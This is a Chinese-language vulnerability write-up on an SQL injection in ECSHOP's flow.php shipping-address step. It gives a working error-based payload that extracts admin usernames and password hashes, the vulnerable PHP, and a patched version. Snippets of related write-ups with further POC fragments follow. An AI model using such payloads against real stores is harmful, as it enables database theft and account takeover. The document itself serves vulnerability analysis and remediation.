ecshop /flow.php SQL Injection Vul

catalog

1. 漏洞描述
2. 漏洞触发条件
3. 漏洞影响范围
4. 漏洞代码分析
5. 防御方法
6. 攻防思考

1. 漏洞描述

ECSHOP的配送地址页面网页没有验证地区参数的有效性,存在sql注入漏洞,攻击者可利用火狐tamper data等插件修改提交到配送地址页面的post数据,造成未授权的数据库操作甚至执行任意代码

Relevant Link:

http://sebug.net/vuldb/ssvid-60554

2. 漏洞触发条件

1. 先注册账户,随便选个商品进购物车,然后填地址,电话等等
2. 把任意商品加入购物车在填写配送地址那一页,有地区选择
3. http://localhost/ecshop2.7.3/flow.php?step=consignee&direct_shopping=1
//比如省选择安徽
3. 其中POST数据如下
country=1&province=3&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&step=consignee&act=checkout&address_id=province=3
用firefox tamper data改成
localhost province=3‘) and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #
4. 就会回显错误页面了 

Relevant Link:

http://www.2cto.com/Article/201212/179861.html

3. 漏洞影响范围
4. 漏洞代码分析

/flow.php

elseif ($_REQUEST[‘step‘] == ‘consignee‘)
{
    ...
    //未对POST数据进行有效过滤
    else
    {
        /*
        * 保存收货人信息
        */
        $consignee = array(
        ‘address_id‘    => empty($_POST[‘address_id‘]) ? 0  : intval($_POST[‘address_id‘]),
        ‘consignee‘     => empty($_POST[‘consignee‘])  ? ‘‘ : trim($_POST[‘consignee‘]),
        ‘country‘       => empty($_POST[‘country‘])    ? ‘‘ : $_POST[‘country‘],
        ‘province‘      => empty($_POST[‘province‘])   ? ‘‘ : $_POST[‘province‘],
        ‘city‘          => empty($_POST[‘city‘])       ? ‘‘ : $_POST[‘city‘],
        ‘district‘      => empty($_POST[‘district‘])   ? ‘‘ : $_POST[‘district‘],
        ‘email‘         => empty($_POST[‘email‘])      ? ‘‘ : $_POST[‘email‘],
        ‘address‘       => empty($_POST[‘address‘])    ? ‘‘ : $_POST[‘address‘],
        ‘zipcode‘       => empty($_POST[‘zipcode‘])    ? ‘‘ : make_semiangle(trim($_POST[‘zipcode‘])),
        ‘tel‘           => empty($_POST[‘tel‘])        ? ‘‘ : make_semiangle(trim($_POST[‘tel‘])),
        ‘mobile‘        => empty($_POST[‘mobile‘])     ? ‘‘ : make_semiangle(trim($_POST[‘mobile‘])),
        ‘sign_building‘ => empty($_POST[‘sign_building‘]) ? ‘‘ : $_POST[‘sign_building‘],
        ‘best_time‘     => empty($_POST[‘best_time‘])  ? ‘‘ : $_POST[‘best_time‘],
        );
        ..

5. 防御方法

/flow.php

elseif ($_REQUEST[‘step‘] == ‘consignee‘)
{
    ...
    else
    {
        /*
        * 保存收货人信息
        */
        $consignee = array(
        /* 对用户输入的POST数据进行有效过滤 */
        ‘address_id‘    => empty($_POST[‘address_id‘]) ? 0  :   intval($_POST[‘address_id‘]),
        ‘consignee‘     => empty($_POST[‘consignee‘])  ? ‘‘ :   compile_str(trim($_POST[‘consignee‘])),
        ‘country‘       => empty($_POST[‘country‘])    ? ‘‘ :   intval($_POST[‘country‘]),
        ‘province‘      => empty($_POST[‘province‘])   ? ‘‘ :   intval($_POST[‘province‘]),
        ‘city‘          => empty($_POST[‘city‘])       ? ‘‘ :   intval($_POST[‘city‘]),
        ‘district‘      => empty($_POST[‘district‘])   ? ‘‘ :   intval($_POST[‘district‘]),
        /* */
        ‘email‘         => empty($_POST[‘email‘])      ? ‘‘ :   compile_str($_POST[‘email‘]),
        ‘address‘       => empty($_POST[‘address‘])    ? ‘‘ :   compile_str($_POST[‘address‘]),
        ‘zipcode‘       => empty($_POST[‘zipcode‘])    ? ‘‘ :   compile_str(make_semiangle(trim($_POST[‘zipcode‘]))),
        ‘tel‘           => empty($_POST[‘tel‘])        ? ‘‘ :   compile_str(make_semiangle(trim($_POST[‘tel‘]))),
        ‘mobile‘        => empty($_POST[‘mobile‘])     ? ‘‘ :   compile_str(make_semiangle(trim($_POST[‘mobile‘]))),
        ‘sign_building‘ => empty($_POST[‘sign_building‘]) ? ‘‘ :compile_str($_POST[‘sign_building‘]),
        ‘best_time‘     => empty($_POST[‘best_time‘])  ? ‘‘ :   compile_str($_POST[‘best_time‘]),
    );
    ..

6. 攻防思考

Copyright (c) 2015 LittleHann All rights reserved

时间: 2024-10-12 13:42:51

ecshop /flow.php SQL Injection Vul的相关文章

ecshop /search.php SQL Injection Vul

catalog 1. 漏洞描述 2. 漏洞触发条件 3. 漏洞影响范围 4. 漏洞代码分析 5. 防御方法 6. 攻防思考 1. 漏洞描述 ECSHOP商城系统Search.php页面过滤不严导致SQL注入漏洞 Relevant Link: http://sebug.net/vuldb/ssvid-62317 2. 漏洞触发条件 0x1: POC <?php ini_set("max_execution_time",0); error_reporting(7); function

ecshop /pick_out.php SQL Injection Vul By Local Variable Overriding

catalog 1. 漏洞描述 2. 漏洞触发条件 3. 漏洞影响范围 4. 漏洞代码分析 5. 防御方法 6. 攻防思考 1. 漏洞描述 在进行输入变量本地模拟注册的时候,没有进行有效的GPC模拟过滤处理,导出key键注入 Relevant Link: http://bbs.ecshop.com/thread-150545-1-1.html 2. 漏洞触发条件 1. /pick_out.php漏洞未修复 2. magic_quotes_gpc = Off 0x1: POC #!/usr/bin

ecshop /category.php SQL Injection Vul

catalog 1. 漏洞描述 2. 漏洞触发条件 3. 漏洞影响范围 4. 漏洞代码分析 5. 防御方法 6. 攻防思考 1. 漏洞描述 Relevant Link: http://sebug.net/vuldb/ssvid-19574 2. 漏洞触发条件 0x1: POC http://localhost/ecshop2.7.2/category.php?page=1&sort=goods_id&order=ASC%23goods_list&category=1&dis

ecshop /includes/modules/payment/alipay.php SQL Injection Vul

catalog 1. 漏洞描述 2. 漏洞触发条件 3. 漏洞影响范围 4. 漏洞代码分析 5. 防御方法 6. 攻防思考 1. 漏洞描述 ECSHOP支付插件存在SQL注入漏洞,此漏洞存在于/includes/modules/payment/alipay.php文件中,该文件是ECshop的支付宝插件.由于ECShop使用了str_replace函数做字符串替换,黑客可绕过单引号限制构造SQL注入语句.只要开启支付宝支付插件就能利用该漏洞获取网站数据,且不需要注册登入.GBK与UTF-8版本E

ecshop /api/client/api.php、/api/client/includes/lib_api.php SQL Injection Vul

catalog 1. 漏洞描述 2. 漏洞触发条件 3. 漏洞影响范围 4. 漏洞代码分析 5. 防御方法 6. 攻防思考 1. 漏洞描述 ECShop存在一个盲注漏洞,问题存在于/api/client/api.php文件中,提交特制的恶意POST请求可进行SQL注入攻击,可获得敏感信息或操作数据库 http://sebug.net/vuldb/ssvid-21007 2. 漏洞触发条件 1. /api/client/api.php存在未过滤漏洞 2. 服务器magic_quote_gpc =

discuz /faq.php SQL Injection Vul

catalog 1. 漏洞描述 2. 漏洞触发条件 3. 漏洞影响范围 4. 漏洞代码分析 5. 防御方法 6. 攻防思考 1. 漏洞描述 1. 通过获取管理员密码 2. 对管理员密码进行破解.通过在cmd5.com网站对管理密码进行查询,需要带salt,获取的salt要去掉最后一个数字"1" 例如下面获取: admin:c6c45f444cf6a41b309c9401ab9a55a7:066ff71 需要查询的是: c6c45f444cf6a41b309c9401ab9a55a7:0

weiphp /Application/Admin/Controller/PublicController.class.php Login SQL Injection Vul

catalogue 1. 漏洞描述 2. 漏洞触发条件 3. 漏洞影响范围 4. 漏洞代码分析 5. 防御方法 6. 攻防思考 1. 漏洞描述 Relevant Link: http://www.wooyun.org/bugs/wooyun-2016-0190216 2. 漏洞触发条件 0x1: POC http://demo.weiphp.cn/index.php?s=/Admin/Public/login.html post: username[0]=admin'&username[1]=x

dedecms /member/myfriend_group.php SQL Injection Vul

catalog 1. 漏洞描述 2. 漏洞触发条件 3. 漏洞影响范围 4. 漏洞代码分析 5. 防御方法 6. 攻防思考 1. 漏洞描述 Dedecms会员中心注入漏洞 Relevant Link http://exp.03sec.com/dedecms-%E4%BC%9A%E5%91%98%E4%B8%AD%E5%BF%83%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E10.shtml 2. 漏洞触发条件 1. 先打开: http://127.0.0.1/dedec

dedecms /member/flink_main.php SQL Injection Vul

catalog 1. 漏洞描述 2. 漏洞触发条件 3. 漏洞影响范围 4. 漏洞代码分析 5. 防御方法 6. 攻防思考 1. 漏洞描述 会员模块中存在的SQL注入 Relevant Link http://www.cnseay.com/1959/ 2. 漏洞触发条件 1. 打开 http://127.0.0.1/dedecms/member/flink_main.php# 2. 在连接网址里面写入 http://sss2'),(8,1,@`'`),(8,(select user()),'33